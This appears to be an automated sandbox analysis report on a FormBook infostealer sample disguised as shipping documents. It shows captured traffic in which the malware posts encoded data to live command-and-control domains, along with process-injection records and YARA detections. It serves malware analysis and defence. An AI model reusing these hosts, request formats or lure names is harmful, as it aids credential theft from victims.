                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 67 64 49 6c 54 76 45 38 3d 56 33 36 48 6e 6d 69 69 37 39 65 36 4c 72 7a 49 34 31 61 62 77 61 66 56 6a 31 72 4b 61 5a 74 38 69 59 31 5a 30 2f 44 37 57 76 4f 51 52 67 4a 4e 6f 4f 38 75 52 39 56 63 56 6b 51 7a 57 5a 78 75 38 2b 5a 4c 55 51 51 38 63 57 49 42 69 36 37 6a 41 6c 6f 6d 59 72 30 67 64 6b 74 44 75 4a 4a 4b 56 6c 47 72 4e 74 42 47 58 31 56 74 56 55 41 30 37 61 61 45 49 78 4b 6b 6a 38 52 61 63 52 30 44 53 52 63 39 68 49 53 65 75 50 68 56 46 49 63 7a 68 72 63 6b 67 49 79 2f 33 78 51 6b 63 4c 76 68 51 70 67 34 45 44 49 77 7a 44 62 56 6d 72 78 6f 67 4d 6f 78 6a 75 68 51 4f 62 7a 30 33 79 53 61 50 4e 48 46 4f 57 42 58 33 39 61 71 4c 45 31 59 4f 67 59 32 72 75 67 75 68 42 39 70 44 63 31 35 37 38 45 5a 48 43 63 58 71 74 53 73 4e 33 77 36 51 39 44 79 4d 6b 6e 55 43 2b 4b 76 52 30 74 45 39 74 46 42 78 64 71 6c 64 2f 36 4f 59 69 5a 30 78 71 33 67 2f 6b 32 79 38 73 49 41 56 50 78 41 41 50 49 65 72 35 59 2f 67 74 30 55 75 57 77 33 38 69 2f 31 39 57 75 34 35 45 48 47 66 43 52 43 4f 58 2b 38 65 64 58 4c 45 [TRUNCATED]
                                              Data Ascii: gdIlTvE8=V36Hnmii79e6LrzI41abwafVj1rKaZt8iY1Z0/D7WvOQRgJNoO8uR9VcVkQzWZxu8+ZLUQQ8cWIBi67jAlomYr0gdktDuJJKVlGrNtBGX1VtVUA07aaEIxKkj8RacR0DSRc9hISeuPhVFIczhrckgIy/3xQkcLvhQpg4EDIwzDbVmrxogMoxjuhQObz03ySaPNHFOWBX39aqLE1YOgY2ruguhB9pDc1578EZHCcXqtSsN3w6Q9DyMknUC+KvR0tE9tFBxdqld/6OYiZ0xq3g/k2y8sIAVPxAAPIer5Y/gt0UuWw38i/19Wu45EHGfCRCOX+8edXLEzu/C81bJVJFpRVk2OtJchTxTm8p+8cn6YliGAP9FnkgmK2FumdF26Ubjfmwffu/DHoZ/Vxp0Z+ORH8akdwTApMk3BJ2tED6eadtPx4DYS4aF05v4W0j2dSk8r/VgbV25lC4ZjPhTEMVQSKMVVtPIaNNNb4H79VOYD2WoEodhIG2TaY26lA4u5w35jQ4Y8OFcX6YsfE8IMQimhvUNI+oRok3zSdj226gpaPKxETKD/oTeXQ4cnpCGvrXqdUu5yUM4B7YDRKmZazML6tazfClnWri1ycruVENOdQcy70AdhELCwvGhH4wOtAJU7FQrgqU6lh9Azsd4lpnKHApm+GtwRCXXkiEdoAVqs6nA8/EiBW6HZfUIqx6ok0zyNqG0pzzkZRxkTr/bG5wcbt/FHEZSlb7ZNF+uDNlHDrRt04ZfXps2M4ryzMdTMcxvIpUVaJexc58eeltcRHctafiMYkjilEABdvgq4rMxAHvaa5YvxVnGmNVSKJwtu88OXGTbR2MrTaowCyrW5W0hnGFfkD9IRMInSQzxH1kV8spMgVlOqqufG1gMlXxE/4WWeOnxLJCJmbOXrRrm6fuIVCqlniKJKbVP/9JDgKukTjFZ0dmytlQa+2ZLFqNhNFmsxM4CPxbYenh7yMP6urDr0XRDfekclmgbSW2Ld0JVwl [TRUNCATED]
                                              Dec 9, 2024 13:14:29.924721956 CET987INHTTP/1.1 404 Not Found
                                              content-type: text/html
                                              cache-control: private, no-cache, max-age=0
                                              pragma: no-cache
                                              date: Mon, 09 Dec 2024 12:14:29 GMT
                                              server: LiteSpeed
                                              content-encoding: gzip
                                              vary: Accept-Encoding
                                              transfer-encoding: chunked
                                              connection: close
                                              Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e a7 70 31 12 28 97 c2 67 49 1c bf 1d 85 5f c8 38 7d 5a f4 0c 34 6b 29 60 2d 71 d3 19 eb 47 50 1b ed 51 fb c5 68 23 b9 17 0b 8e 6b 59 63 d4 0f c6 20 b5 f4 92 a9 c8 d5 8c 60 93 31 38 61 a5 be 8f bc 89 1a e9 17 da 04 74 2f bd c2 12 d2 38 85 9f c6 c3 57 b3 d2 fc cd 59 31 1d e6 8b 9e 52 f9 a1 45 2e 19 5c 76 16 1b b4 2e aa 8d 32 96 70 05 b6 98 71 66 ef af 1e 2a c3 77 0f 15 ab ef 97 36 40 0c 21 d9 45 1c c7 e7 b2 0d 64 99 f6 8f 8f c5 74 00 2c a6 fb ac c2 b2 43 de c3 12 b8 48 d3 34 87 96 d9 a5 d4 59 9c 37 94 62 06 da d8 96 29 48 d2 6e 3b 9d c5 dd 16 3e 5a 4a 6d 0c df 50 ad d1 cb 9a 51 76 4c bb c8 a1 95 4d 0e 27 12 e6 f0 8a 15 5c 34 4d 93 87 ec b9 5c bf 50 9d ad bc a1 dd a5 8e 9e 61 8c 4a 08 cf e9 02 8f 5b 1f 31 25 97 3a 83 [TRUNCATED]
                                              Data Ascii: a2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4Y7b)Hn;>ZJmPQvLM'\4M\PaJ[1%:L@C|>&"%dgbt*gct\]9B$@%rfUR0l(N2)= lMh<*Y:tyT+,ZF9F{^L;}"h8gY>q.2hkk^O$NhuB+c9>(:.+v6IW`l2xcxz+:}_-ohWvT$dm47/kDa-4_Jt] %6$YvLi>Fj3bC{.~p/+a


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              4192.168.2.449827108.181.189.7803752C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 13:14:31.429249048 CET541OUTGET /xu9o/?gdIlTvE8=Y1SnkQLh9oyCIrW0o0O4vqPemXX8Spt1zoY93P6OWbCvdS06v54NadN0bxhIZaxlyI96f1lIInN9xaPSBVcrMr8DLl9ZyJ18b2nxQ81rZE0uLnMg7aaVIRg=&FH1D=O4FXjFCpJjRpaxv HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.jalan2.online
                                              Connection: close
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Dec 9, 2024 13:14:32.580806017 CET1236INHTTP/1.1 404 Not Found
                                              content-type: text/html
                                              cache-control: private, no-cache, max-age=0
                                              pragma: no-cache
                                              content-length: 1249
                                              date: Mon, 09 Dec 2024 12:14:32 GMT
                                              server: LiteSpeed
                                              connection: close
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 [TRUNCATED]
                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, [TRUNCATED]
                                              Dec 9, 2024 13:14:32.580997944 CET224INData Raw: 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c
                                              Data Ascii: 3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              5192.168.2.44984313.248.169.48803752C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 13:14:38.024017096 CET809OUTPOST /ctta/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.avalanchefi.xyz
                                              Origin: http://www.avalanchefi.xyz
                                              Referer: http://www.avalanchefi.xyz/ctta/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 205
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 67 64 49 6c 54 76 45 38 3d 32 31 4a 4e 4c 4c 52 36 6e 57 4c 77 78 77 6f 46 73 7a 6c 46 6f 47 6d 43 66 4a 35 68 31 73 50 56 34 52 30 70 58 49 61 6b 31 64 4d 34 55 77 63 6f 48 6b 6c 62 76 30 6a 73 46 7a 32 39 70 33 52 73 72 6e 5a 6e 61 41 59 62 4e 36 72 74 31 74 67 36 42 79 65 57 46 48 36 53 70 31 64 55 6a 72 79 5a 32 6a 6b 41 75 56 75 50 69 78 68 6c 64 6a 6a 36 36 42 38 33 5a 6a 35 38 72 6c 6d 36 56 43 37 44 68 45 73 49 47 64 36 48 6d 41 51 38 35 7a 6c 76 75 61 4c 67 36 4f 52 56 42 4f 76 48 49 74 58 63 76 4e 56 62 53 42 70 37 4f 34 65 5a 4c 66 4a 42 77 36 7a 74 77 57 56 78 41 49 6a 64 55 78 7a 47 6c 67 3d 3d
                                              Data Ascii: gdIlTvE8=21JNLLR6nWLwxwoFszlFoGmCfJ5h1sPV4R0pXIak1dM4UwcoHklbv0jsFz29p3RsrnZnaAYbN6rt1tg6ByeWFH6Sp1dUjryZ2jkAuVuPixhldjj66B83Zj58rlm6VC7DhEsIGd6HmAQ85zlvuaLg6ORVBOvHItXcvNVbSBp7O4eZLfJBw6ztwWVxAIjdUxzGlg==
                                              Dec 9, 2024 13:14:39.171000957 CET73INHTTP/1.1 405 Method Not Allowed
                                              content-length: 0
                                              connection: close


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              6192.168.2.44984913.248.169.48803752C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 13:14:40.681565046 CET829OUTPOST /ctta/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.avalanchefi.xyz
                                              Origin: http://www.avalanchefi.xyz
                                              Referer: http://www.avalanchefi.xyz/ctta/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 225
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 67 64 49 6c 54 76 45 38 3d 32 31 4a 4e 4c 4c 52 36 6e 57 4c 77 2b 7a 67 46 72 51 4e 46 6a 47 6d 42 51 70 35 68 76 63 50 52 34 52 49 70 58 4a 50 76 30 76 59 34 56 52 73 6f 41 68 52 62 73 30 6a 73 4f 54 33 33 32 6e 52 72 72 6e 56 56 61 42 6b 62 4e 36 76 74 31 75 30 36 41 46 43 58 48 58 36 51 79 6c 64 61 74 4c 79 5a 32 6a 6b 41 75 56 72 48 69 78 35 6c 42 44 54 36 37 67 38 30 48 7a 35 2f 6f 6c 6d 36 52 43 37 48 68 45 73 2b 47 59 69 70 6d 46 4d 38 35 33 70 76 75 4c 4c 76 77 4f 52 66 50 75 75 57 50 49 76 58 70 63 6b 4e 4b 6e 6c 38 4b 5a 43 41 4b 5a 45 62 68 4c 53 36 69 57 78 43 64 50 71 70 5a 79 4f 50 2b 71 4c 56 46 38 4c 6c 61 31 4c 63 6f 53 57 42 69 73 37 36 32 67 77 3d
                                              Data Ascii: gdIlTvE8=21JNLLR6nWLw+zgFrQNFjGmBQp5hvcPR4RIpXJPv0vY4VRsoAhRbs0jsOT332nRrrnVVaBkbN6vt1u06AFCXHX6QyldatLyZ2jkAuVrHix5lBDT67g80Hz5/olm6RC7HhEs+GYipmFM853pvuLLvwORfPuuWPIvXpckNKnl8KZCAKZEbhLS6iWxCdPqpZyOP+qLVF8Lla1LcoSWBis762gw=
                                              Dec 9, 2024 13:14:41.768484116 CET73INHTTP/1.1 405 Method Not Allowed
                                              content-length: 0
                                              connection: close


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              7192.168.2.44985513.248.169.48803752C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 13:14:43.341212988 CET10911OUTPOST /ctta/ HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.avalanchefi.xyz
                                              Origin: http://www.avalanchefi.xyz
                                              Referer: http://www.avalanchefi.xyz/ctta/
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Content-Length: 10305
                                              Cache-Control: max-age=0
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 67 64 49 6c 54 76 45 38 3d 32 31 4a 4e 4c 4c 52 36 6e 57 4c 77 2b 7a 67 46 72 51 4e 46 6a 47 6d 42 51 70 35 68 76 63 50 52 34 52 49 70 58 4a 50 76 30 76 41 34 55 6a 6b 6f 47 47 4e 62 74 30 6a 73 53 44 33 36 32 6e 51 75 72 6e 4d 63 61 42 6f 68 4e 34 6e 74 30 4d 73 36 49 55 43 58 4e 58 36 51 74 31 64 58 6a 72 79 32 32 6e 49 4d 75 56 37 48 69 78 35 6c 42 41 4c 36 79 52 38 30 46 7a 35 38 72 6c 6d 6d 56 43 36 53 68 45 30 41 47 5a 57 58 6d 78 41 38 35 58 35 76 39 74 66 76 7a 75 52 5a 43 4f 75 4f 50 49 71 50 70 59 38 33 4b 6e 35 61 4b 5a 6d 41 4c 74 35 59 32 34 43 47 2b 47 31 64 45 76 62 4d 64 67 33 50 77 4b 50 2f 4a 4a 71 6c 42 58 6a 30 6f 77 50 79 39 4f 58 41 76 6d 4d 63 65 6d 54 37 63 4d 6c 31 61 35 77 46 48 64 33 38 72 70 6a 62 67 66 42 2f 31 7a 6a 53 56 4e 74 2b 4d 68 6f 75 34 2f 58 57 62 4c 70 44 4a 5a 62 51 67 76 74 39 33 70 6f 49 31 30 4e 7a 31 30 4a 41 37 66 72 31 38 33 37 35 70 49 35 52 69 33 33 78 51 46 4f 46 46 39 77 78 37 57 59 75 55 37 51 4f 72 4b 55 76 47 72 6d 46 4e 79 2b 36 54 68 76 54 69 [TRUNCATED]
                                              Data Ascii: gdIlTvE8=21JNLLR6nWLw+zgFrQNFjGmBQp5hvcPR4RIpXJPv0vA4UjkoGGNbt0jsSD362nQurnMcaBohN4nt0Ms6IUCXNX6Qt1dXjry22nIMuV7Hix5lBAL6yR80Fz58rlmmVC6ShE0AGZWXmxA85X5v9tfvzuRZCOuOPIqPpY83Kn5aKZmALt5Y24CG+G1dEvbMdg3PwKP/JJqlBXj0owPy9OXAvmMcemT7cMl1a5wFHd38rpjbgfB/1zjSVNt+Mhou4/XWbLpDJZbQgvt93poI10Nz10JA7fr18375pI5Ri33xQFOFF9wx7WYuU7QOrKUvGrmFNy+6ThvTid7sdjzbP5VX6e8DBh6PKaPJVSJPYu8/hfIk4TCHdhy7U2mqQ7W3jtL2N2HOhtAbg0feCnOo5Wb6IQvmMn6ts3jsOWBm5X+Tvg0yJnU+BB1X+NxB7MJWdfjLyuEB5u1WC2Iezle+a10gj+mD2zO0AUP0s+F10tE9TnfMlRKZ6e/PBH9BQePfAVf+fcALqh10ot87eUv2D+UW1NYGkiwMb+h6ROSv/YsgVZ6pz82TeTsPB0dzIlnkYNqAxNb3agTibzJP+1CV/3NpRM5e4rhzTG6K3slcAG10HMQwQ87zsMxPNUVxyi+d0XFY1qCYeEo4n88tZHqEWSMKk1q4/2UrfmwWkWPvxFyteE9BIfTniOPGTGjzKvpEDpo76fJBN5Exy9mfUK3V9uPw3Tn/80LdGYAm+Fd5UtP+zU0SWZiw9r/B4FZcqNgygpzVR8PXXWQ/VIWnnjicSRQ4dD3w++OIOcZS9rViUf1vET8Mcabw76RvyaEXWh9XCPFwHE8wdlMDxT5NbgqA84sPY+EKdumxc39qCoum3MvaLfW69+qNflaN0zardCB6VqNoGI30H0a84KoapSKQLZzX2YKKw9diBsL9s4bpsayeu7UdK1NhQVRm9UUTBCrDva74FODqjDJJkihYOgJKwc0kxpLn7sgK8jT0dVInq5+7REf [TRUNCATED]
                                              Dec 9, 2024 13:14:44.426273108 CET73INHTTP/1.1 405 Method Not Allowed
                                              content-length: 0
                                              connection: close


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              8192.168.2.44986113.248.169.48803752C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              TimestampBytes transferredDirectionData
                                              Dec 9, 2024 13:14:45.991956949 CET543OUTGET /ctta/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=73htI/07lnbi6jhjvkNHrlWSa6BSjsKivRRSV4arkt57XDlKC2xJvna+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoag2/xWEWhdCP8yoM02bo7Rk5ZALP8w8OFi4= HTTP/1.1
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Language: en-US,en;q=0.9
                                              Host: www.avalanchefi.xyz
                                              Connection: close
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Dec 9, 2024 13:14:47.088577032 CET386INHTTP/1.1 200 OK
                                              content-type: text/html
                                              date: Mon, 09 Dec 2024 12:14:46 GMT
                                              content-length: 265
                                              connection: close
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 46 48 31 44 3d 4f 34 46 58 6a 46 43 70 4a 6a 52 70 61 78 76 26 67 64 49 6c 54 76 45 38 3d 37 33 68 74 49 2f 30 37 6c 6e 62 69 36 6a 68 6a 76 6b 4e 48 72 6c 57 53 61 36 42 53 6a 73 4b 69 76 52 52 53 56 34 61 72 6b 74 35 37 58 44 6c 4b 43 32 78 4a 76 6e 61 2b 4a 6a 65 31 6e 57 64 35 6b 30 5a 33 50 53 30 56 56 5a 54 77 34 65 6b 37 4e 46 50 6f 61 67 32 2f 78 57 45 57 68 64 43 50 38 79 6f 4d 30 32 62 6f 37 52 6b 35 5a 41 4c 50 38 77 38 4f 46 69 34 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                              Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=73htI/07lnbi6jhjvkNHrlWSa6BSjsKivRRSV4arkt57XDlKC2xJvna+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoag2/xWEWhdCP8yoM02bo7Rk5ZALP8w8OFi4="}</script></head></html>


                                              Statistics

                                              CPU Usage

                                              Click to jump to process

                                              Memory Usage

                                              Click to jump to process

                                              High Level Behavior Distribution

                                              Click to dive into process behavior distribution

                                              Behavior

                                              Click to jump to process

                                              System Behavior

                                              General

                                              Target ID:0
                                              Start time:07:12:52
                                              Start date:09/12/2024
                                              Path:C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"
                                              Imagebase:0xd00000
                                              File size:1'226'240 bytes
                                              MD5 hash:53BC8D5AEC130CB17E4F2A277B722BF2
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:low
                                              Has exited:true

                                              General

                                              Target ID:1
                                              Start time:07:12:53
                                              Start date:09/12/2024
                                              Path:C:\Windows\SysWOW64\svchost.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"
                                              Imagebase:0x810000
                                              File size:46'504 bytes
                                              MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2248534012.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2248246717.00000000004E0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2248900268.0000000003D50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:5
                                              Start time:07:13:44
                                              Start date:09/12/2024
                                              Path:C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe"
                                              Imagebase:0x690000
                                              File size:140'800 bytes
                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2916213463.0000000003560000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                              Reputation:high
                                              Has exited:false

                                              General

                                              Target ID:6
                                              Start time:07:13:45
                                              Start date:09/12/2024
                                              Path:C:\Windows\SysWOW64\sc.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Windows\SysWOW64\sc.exe"
                                              Imagebase:0x990000
                                              File size:61'440 bytes
                                              MD5 hash:D9D7684B8431A0D10D0E76FE9F5FFEC8
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2914944914.00000000008A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2916379942.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.2916441443.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                              Reputation:moderate
                                              Has exited:false

                                              General

                                              Target ID:7
                                              Start time:07:13:58
                                              Start date:09/12/2024
                                              Path:C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe"
                                              Imagebase:0x690000
                                              File size:140'800 bytes
                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.2915999242.0000000001630000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              Reputation:high
                                              Has exited:false

                                              General

                                              Target ID:8
                                              Start time:07:14:10
                                              Start date:09/12/2024
                                              Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                              Wow64 process (32bit):false
                                              Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                              Imagebase:0x7ff6bf500000
                                              File size:676'768 bytes
                                              MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              Disassembly

                                              Reset < >

                                                Execution Graph

                                                Execution Coverage:3.6%
                                                Dynamic/Decrypted Code Coverage:0.4%
                                                Signature Coverage:6.7%
                                                Total number of Nodes:2000
                                                Total number of Limit Nodes:77
